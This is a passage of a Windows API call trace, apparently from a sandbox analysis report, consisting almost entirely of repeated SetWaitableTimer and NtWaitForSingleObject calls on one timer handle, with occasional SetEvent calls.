Time=0x0) returned 0x0 [0172.159] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.159] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.159] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.160] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.160] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.160] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.160] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.160] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.162] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.162] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.163] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.163] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.163] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.163] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.163] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.164] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.164] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.165] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.165] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.166] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.166] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.166] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.166] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.166] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.166] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.166] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.166] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.166] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.166] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.167] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.167] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.167] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.167] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.167] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.167] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.168] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.168] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.168] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.168] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.168] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.168] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.292] SetEvent (hEvent=0x124) returned 1 [0172.292] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.292] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.293] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.293] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.293] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.293] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.293] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.293] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.294] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.294] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.294] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.294] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.294] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.294] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.294] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.294] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.295] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.295] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.295] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.295] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.296] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.296] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.297] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.297] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.297] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.297] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.297] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.297] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.298] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.298] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.298] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.298] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.298] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.298] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.299] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.299] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.300] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.300] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.300] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.300] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.300] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.300] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.300] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.300] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.300] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.300] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.301] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.301] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.301] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.301] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.302] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.302] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.303] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.303] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.303] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.303] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.303] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.303] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.303] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.348] SetEvent (hEvent=0x124) returned 1 [0172.348] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.348] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.348] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.349] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.349] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.349] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.349] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.349] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.349] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.350] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.350] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.350] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.350] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.350] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.350] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.351] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.351] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.351] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.351] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.351] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.351] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.351] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.351] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.351] NtWaitForSingleObject (Object=0xf8, Alertable=0, 